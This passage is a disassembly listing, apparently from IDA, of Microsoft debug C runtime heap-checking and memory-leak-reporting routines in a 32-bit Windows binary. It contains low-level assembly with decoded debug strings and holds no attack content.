... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_420623 xor eax, eax jmp loc_420730 ; --------------------------------------------------------------------------- loc_420623: ; CODE XREF: sub_420610+Aj push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_4205C0 add esp, 0Ch test eax, eax jnz short loc_420641 xor eax, eax jmp loc_420730 ; --------------------------------------------------------------------------- loc_420641: ; CODE XREF: sub_420610+28j cmp dword_4E98CC, 3 jnz short loc_4206AE mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_426800 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42067A mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_426860 add esp, 8 jmp loc_420730 ; --------------------------------------------------------------------------- loc_42067A: ; CODE XREF: sub_420610+50j mov ecx, dword_4E91F8 and ecx, 8000h test ecx, ecx jz short loc_420694 mov eax, 1 jmp loc_420730 ; --------------------------------------------------------------------------- loc_420694: ; CODE XREF: sub_420610+78j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2920000h jmp loc_420730 ; --------------------------------------------------------------------------- loc_4206AE: ; CODE XREF: sub_420610+38j cmp dword_4E98CC, 2 jnz short loc_42071A lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_428820 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4206ED mov ecx, [ebp+var_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_4206E9 mov eax, 1 jmp short loc_420730 ; --------------------------------------------------------------------------- loc_4206E9: ; CODE XREF: sub_420610+D0j xor eax, eax jmp short loc_420730 ; --------------------------------------------------------------------------- loc_4206ED: ; CODE XREF: sub_420610+C5j mov eax, dword_4E91F8 and eax, 8000h test eax, eax jz short loc_420702 mov eax, 1 jmp short loc_420730 ; --------------------------------------------------------------------------- loc_420702: ; CODE XREF: sub_420610+E9j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx push 0 mov edx, dword_4E98C8 push edx call near ptr 2920000h nop jmp short loc_420730 ; --------------------------------------------------------------------------- loc_42071A: ; CODE XREF: sub_420610+A5j mov eax, [ebp+arg_0] sub eax, 20h push eax push 0 mov ecx, dword_4E98C8 push ecx nop call near ptr 2920000h loc_420730: ; CODE XREF: sub_420610+Ej ; sub_420610+2Cj ... mov esp, ebp pop ebp retn sub_420610 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EA70 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, [ebp+8] push eax call sub_420610 add esp, 4 test eax, eax jnz short loc_42077A xor eax, eax jmp loc_420854 ; --------------------------------------------------------------------------- loc_42077A: ; CODE XREF: .XComp0:00420771j push 9 call sub_425990 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_4207C6 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_4207C6 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_4207C6 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jnz short loc_420831 loc_4207C6: ; CODE XREF: .XComp0:004207A2j ; .XComp0:004207ABj ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4205C0 add esp, 0Ch test eax, eax jz short loc_420831 mov ecx, [ebp-1Ch] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_420831 mov eax, [ebp-1Ch] mov ecx, [eax+18h] cmp ecx, dword_44FEE4 jg short loc_420831 cmp dword ptr [ebp+10h], 0 jz short loc_420806 mov edx, [ebp+10h] mov eax, [ebp-1Ch] mov ecx, [eax+18h] mov [edx], ecx loc_420806: ; CODE XREF: .XComp0:004207F9j cmp dword ptr [ebp+14h], 0 jz short loc_420817 mov edx, [ebp+14h] mov eax, [ebp-1Ch] mov ecx, [eax+8] mov [edx], ecx loc_420817: ; CODE XREF: .XComp0:0042080Aj cmp dword ptr [ebp+18h], 0 jz short loc_420828 mov edx, [ebp+18h] mov eax, [ebp-1Ch] mov ecx, [eax+0Ch] mov [edx], ecx loc_420828: ; CODE XREF: .XComp0:0042081Bj mov dword ptr [ebp-20h], 1 jmp short loc_420838 ; --------------------------------------------------------------------------- loc_420831: ; CODE XREF: .XComp0:004207C4j ; .XComp0:004207DAj ... mov dword ptr [ebp-20h], 0 loc_420838: ; CODE XREF: .XComp0:0042082Fj mov dword ptr [ebp-4], 0FFFFFFFFh call sub_420846 jmp short loc_420851 ; =============== S U B R O U T I N E ======================================= sub_420846 proc near ; CODE XREF: .XComp0:0042083Fp ; DATA XREF: .XComp0:0043EA78o push 9 call sub_425A30 add esp, 4 retn sub_420846 endp ; --------------------------------------------------------------------------- loc_420851: ; CODE XREF: .XComp0:00420844j mov eax, [ebp-20h] loc_420854: ; CODE XREF: .XComp0:00420775j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4EA918 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4EA918, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420890 proc near ; CODE XREF: sub_420F90+Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00420A23 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EAC8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_4208E4 loc_4208B9: ; CODE XREF: sub_420890+4Dj push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_4208D9 int 3 ; Trap to Debugger loc_4208D9: ; CODE XREF: sub_420890+46j xor eax, eax test eax, eax jnz short loc_4208B9 jmp loc_420A23 ; --------------------------------------------------------------------------- loc_4208E4: ; CODE XREF: sub_420890+27j push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] mov edx, dword_4E91E8 mov [ecx], edx mov [ebp+var_1C], 0 jmp short loc_420912 ; --------------------------------------------------------------------------- loc_420909: ; CODE XREF: sub_420890+A4j mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_420912: ; CODE XREF: sub_420890+77j cmp [ebp+var_1C], 5 jge short loc_420936 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_420909 ; --------------------------------------------------------------------------- loc_420936: ; CODE XREF: sub_420890+86j mov edx, dword_4E91E8 mov [ebp+var_20], edx jmp short loc_420949 ; --------------------------------------------------------------------------- loc_420941: ; CODE XREF: sub_420890:loc_4209EDj mov eax, [ebp+var_20] mov ecx, [eax] mov [ebp+var_20], ecx loc_420949: ; CODE XREF: sub_420890+AFj cmp [ebp+var_20], 0 jz loc_4209F2 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_4209C8 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_4209C8 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_20] add edx, [eax+10h] mov ecx, [ebp+var_20] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_4209ED ; --------------------------------------------------------------------------- loc_4209C8: ; CODE XREF: sub_420890+D0j ; sub_420890+E1j ... mov edx, [ebp+var_20] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_4209E7 int 3 ; Trap to Debugger loc_4209E7: ; CODE XREF: sub_420890+154j xor eax, eax test eax, eax jnz short loc_4209C8 loc_4209ED: ; CODE XREF: sub_420890+136j jmp loc_420941 ; --------------------------------------------------------------------------- loc_4209F2: ; CODE XREF: sub_420890+BDj mov ecx, [ebp+arg_0] mov edx, dword_4E91F0 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4E91E4 mov [eax+30h], ecx mov [ebp+var_4], 0FFFFFFFFh call sub_420A18 jmp short loc_420A23 sub_420890 endp ; =============== S U B R O U T I N E ======================================= sub_420A18 proc near ; CODE XREF: sub_420890+181p ; DATA XREF: .XComp0:0043EAD0o push 9 call sub_425A30 add esp, 4 retn sub_420A18 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420890 loc_420A23: ; CODE XREF: sub_420890+4Fj ; sub_420890+186j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_420890 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_420A62 cmp dword ptr [ebp+0Ch], 0 jz short loc_420A62 cmp dword ptr [ebp+10h], 0 jnz short loc_420A90 loc_420A62: ; CODE XREF: .XComp0:00420A54j ; .XComp0:00420A5Aj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420A82 int 3 ; Trap to Debugger loc_420A82: ; CODE XREF: .XComp0:00420A7Fj xor eax, eax test eax, eax jnz short loc_420A62 mov eax, [ebp-8] jmp loc_420B5C ; --------------------------------------------------------------------------- loc_420A90: ; CODE XREF: .XComp0:00420A60j mov dword ptr [ebp-4], 0 jmp short loc_420AA2 ; --------------------------------------------------------------------------- loc_420A99: ; CODE XREF: .XComp0:loc_420B27j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_420AA2: ; CODE XREF: .XComp0:00420A97j cmp dword ptr [ebp-4], 5 jge loc_420B2C mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_420B02 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_420B27 loc_420B02: ; CODE XREF: .XComp0:00420AF3j cmp dword ptr [ebp-4], 0 jz short loc_420B27 cmp dword ptr [ebp-4], 2 jnz short loc_420B20 cmp dword ptr [ebp-4], 2 jnz short loc_420B27 mov eax, dword_44FEE0 and eax, 10h test eax, eax jz short loc_420B27 loc_420B20: ; CODE XREF: .XComp0:00420B0Cj mov dword ptr [ebp-8], 1 loc_420B27: ; CODE XREF: .XComp0:00420B00j ; .XComp0:00420B06j ... jmp loc_420A99 ; --------------------------------------------------------------------------- loc_420B2C: ; CODE XREF: .XComp0:00420AA6j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_420B5C: ; CODE XREF: .XComp0:00420A8Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B70 proc near ; CODE XREF: sub_420F90+5Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00420E2C SIZE 00000037 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EBE0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov [ebp+var_20], 0 push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 loc_420BAB: ; CODE XREF: sub_420B70+5Fj push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420BCB int 3 ; Trap to Debugger loc_420BCB: ; CODE XREF: sub_420B70+58j xor eax, eax test eax, eax jnz short loc_420BAB cmp [ebp+arg_0], 0 jz short loc_420BDF mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_20], edx loc_420BDF: ; CODE XREF: sub_420B70+65j mov eax, dword_4E91E8 mov [ebp+var_1C], eax jmp short loc_420BF1 ; --------------------------------------------------------------------------- loc_420BE9: ; CODE XREF: sub_420B70:loc_420E0Ej mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx loc_420BF1: ; CODE XREF: sub_420B70+77j cmp [ebp+var_1C], 0 jz loc_420E13 mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jz loc_420E13 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_420C45 mov eax, [ebp+var_1C] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_420C45 mov edx, [ebp+var_1C] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_420C4A mov ecx, dword_44FEE0 and ecx, 10h test ecx, ecx jnz short loc_420C4A loc_420C45: ; CODE XREF: sub_420B70+A6j ; sub_420B70+B6j jmp loc_420E0E ; --------------------------------------------------------------------------- loc_420C4A: ; CODE XREF: sub_420B70+C6j ; sub_420B70+D3j mov edx, [ebp+var_1C] cmp dword ptr [edx+8], 0 jz short loc_420CC3 push 0 push 1 mov eax, [ebp+var_1C] mov ecx, [eax+8] push ecx call sub_4205C0 add esp, 0Ch test eax, eax jnz short loc_420C94 loc_420C6A: ; CODE XREF: sub_420B70+120j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420C8C int 3 ; Trap to Debugger loc_420C8C: ; CODE XREF: sub_420B70+119j xor ecx, ecx test ecx, ecx jnz short loc_420C6A jmp short loc_420CC3 ; --------------------------------------------------------------------------- loc_420C94: ; CODE XREF: sub_420B70+F8j ; sub_420B70+151j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_1C] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_424D20 add esp, 1Ch cmp eax, 1 jnz short loc_420CBD int 3 ; Trap to Debugger loc_420CBD: ; CODE XREF: sub_420B70+14Aj xor eax, eax test eax, eax jnz short loc_420C94 loc_420CC3: ; CODE XREF: sub_420B70+E1j ; sub_420B70+122j ... mov ecx, [ebp+var_1C] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420CE5 int 3 ; Trap to Debugger loc_420CE5: ; CODE XREF: sub_420B70+172j xor eax, eax test eax, eax jnz short loc_420CC3 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_420D6D loc_420CFC: ; CODE XREF: sub_420B70+1C8j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_420D34 int 3 ; Trap to Debugger loc_420D34: ; CODE XREF: sub_420B70+1C1j xor edx, edx test edx, edx jnz short loc_420CFC cmp dword_4EA918, 0 jz short loc_420D5C mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] add edx, 20h push edx call dword_4EA918 add esp, 8 jmp short loc_420D68 ; --------------------------------------------------------------------------- loc_420D5C: ; CODE XREF: sub_420B70+1D1j mov eax, [ebp+var_1C] push eax call sub_420E70 add esp, 4 loc_420D68: ; CODE XREF: sub_420B70+1EAj jmp loc_420E0E ; --------------------------------------------------------------------------- loc_420D6D: ; CODE XREF: sub_420B70+18Aj mov ecx, [ebp+var_1C] cmp dword ptr [ecx+14h], 1 jnz short loc_420DB3 loc_420D76: ; CODE XREF: sub_420B70+233j mov edx, [ebp+var_1C] mov eax, [edx+10h] push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 1Ch cmp eax, 1 jnz short loc_420D9F int 3 ; Trap to Debugger loc_420D9F: ; CODE XREF: sub_420B70+22Cj xor edx, edx test edx, edx jnz short loc_420D76 mov eax, [ebp+var_1C] push eax call sub_420E70 add esp, 4 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DB3: ; CODE XREF: sub_420B70+204j mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_420E0E loc_420DC4: ; CODE XREF: sub_420B70+290j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_420DFC int 3 ; Trap to Debugger loc_420DFC: ; CODE XREF: sub_420B70+289j xor edx, edx test edx, edx jnz short loc_420DC4 mov eax, [ebp+var_1C] push eax call sub_420E70 add esp, 4 loc_420E0E: ; CODE XREF: sub_420B70:loc_420C45j ; sub_420B70:loc_420D68j ... jmp loc_420BE9 ; --------------------------------------------------------------------------- loc_420E13: ; CODE XREF: sub_420B70+85j ; sub_420B70+91j mov [ebp+var_4], 0FFFFFFFFh call sub_420E21 jmp short loc_420E2C sub_420B70 endp ; =============== S U B R O U T I N E ======================================= sub_420E21 proc near ; CODE XREF: sub_420B70+2AAp ; DATA XREF: .XComp0:0043EBE8o push 9 call sub_425A30 add esp, 4 retn sub_420E21 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420B70 loc_420E2C: ; CODE XREF: sub_420B70+2AFj ; sub_420B70+2E0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420E4C int 3 ; Trap to Debugger loc_420E4C: ; CODE XREF: sub_420B70+2D9j xor ecx, ecx test ecx, ecx jnz short loc_420E2C mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_420B70 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E70 proc near ; CODE XREF: sub_420B70+1F0p ; sub_420B70+239p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_420E8B ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420E70+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_420E8B: ; CODE XREF: sub_420E70+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_420E9F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_420EA6 ; --------------------------------------------------------------------------- loc_420E9F: ; CODE XREF: sub_420E70+22j mov [ebp+var_54], 10h loc_420EA6: ; CODE XREF: sub_420E70+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_420F4C mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp dword_4524F0, 1 jle short loc_420EE3 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_58], eax jmp short loc_420F00 ; --------------------------------------------------------------------------- loc_420EE3: ; CODE XREF: sub_420E70+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_420F00: ; CODE XREF: sub_420E70+71j cmp [ebp+var_58], 0 jz short loc_420F14 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_420F1B ; --------------------------------------------------------------------------- loc_420F14: ; CODE XREF: sub_420E70+94j mov [ebp+var_5C], 20h loc_420F1B: ; CODE XREF: sub_420E70+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_4219C0 add esp, 0Ch jmp loc_420E82 ; --------------------------------------------------------------------------- loc_420F4C: ; CODE XREF: sub_420E70+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_420F54: ; CODE XREF: sub_420E70+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 1Ch cmp eax, 1 jnz short loc_420F77 int 3 ; Trap to Debugger loc_420F77: ; CODE XREF: sub_420E70+104j xor edx, edx test edx, edx jnz short loc_420F54 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F90 proc near ; CODE XREF: sub_421880+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_420890 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_420FC4 cmp [ebp+var_2C], 0 jnz short loc_420FC4 mov ecx, dword_44FEE0 and ecx, 10h test ecx, ecx jz short loc_420FFB cmp [ebp+var_28], 0 jz short loc_420FFB loc_420FC4: ; CODE XREF: sub_420F90+19j ; sub_420F90+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_420FE4 int 3 ; Trap to Debugger loc_420FE4: ; CODE XREF: sub_420F90+51j xor edx, edx test edx, edx jnz short loc_420FC4 push 0 call sub_420B70 add esp, 4 mov eax, 1 jmp short loc_420FFD ; --------------------------------------------------------------------------- loc_420FFB: ; CODE XREF: sub_420F90+2Cj ; sub_420F90+32j xor eax, eax loc_420FFD: ; CODE XREF: sub_420F90+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420F90 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_421022 jmp loc_4210CE ; --------------------------------------------------------------------------- loc_421022: ; CODE XREF: .XComp0:0042101Bj mov dword ptr [ebp-4], 0 jmp short loc_421034 ; --------------------------------------------------------------------------- loc_42102B: ; CODE XREF: .XComp0:0042107Cj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_421034: ; CODE XREF: .XComp0:00421029j cmp dword ptr [ebp-4], 5 jge short loc_42107E loc_42103A: ; CODE XREF: .XComp0:0042107Aj mov ecx, [ebp-4] mov edx, off_44FEF0[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 20h cmp eax, 1 jnz short loc_421076 int 3 ; Trap to Debugger loc_421076: ; CODE XREF: .XComp0:00421073j xor eax, eax test eax, eax jnz short loc_42103A jmp short loc_42102B ; --------------------------------------------------------------------------- loc_42107E: ; CODE XREF: .XComp0:00421038j ; .XComp0:004210A4j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_4210A0 int 3 ; Trap to Debugger loc_4210A0: ; CODE XREF: .XComp0:0042109Dj xor eax, eax test eax, eax jnz short loc_42107E loc_4210A6: ; CODE XREF: .XComp0:004210CCj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_4210C8 int 3 ; Trap to Debugger loc_4210C8: ; CODE XREF: .XComp0:004210C5j xor eax, eax test eax, eax jnz short loc_4210A6 loc_4210CE: ; CODE XREF: .XComp0:0042101Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E0 proc near ; CODE XREF: .XComp0:0040115Cp ; .XComp0:00414471p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_424B30 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_421120 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_424BA0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4210E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421120 proc near ; CODE XREF: sub_4210E0+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_421149 xor eax, eax jmp loc_4212EB ; --------------------------------------------------------------------------- loc_421149: ; CODE XREF: sub_421120+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_421164 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_42116B ; --------------------------------------------------------------------------- loc_421164: ; CODE XREF: sub_421120+37j mov [ebp+var_1C], 1000h loc_42116B: ; CODE XREF: sub_421120+42j ; sub_421120:loc_4212E3j cmp [ebp+var_C], 0 jz loc_4212E8 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_4211F9 mov eax, [ebp+arg_C] cmp dword ptr 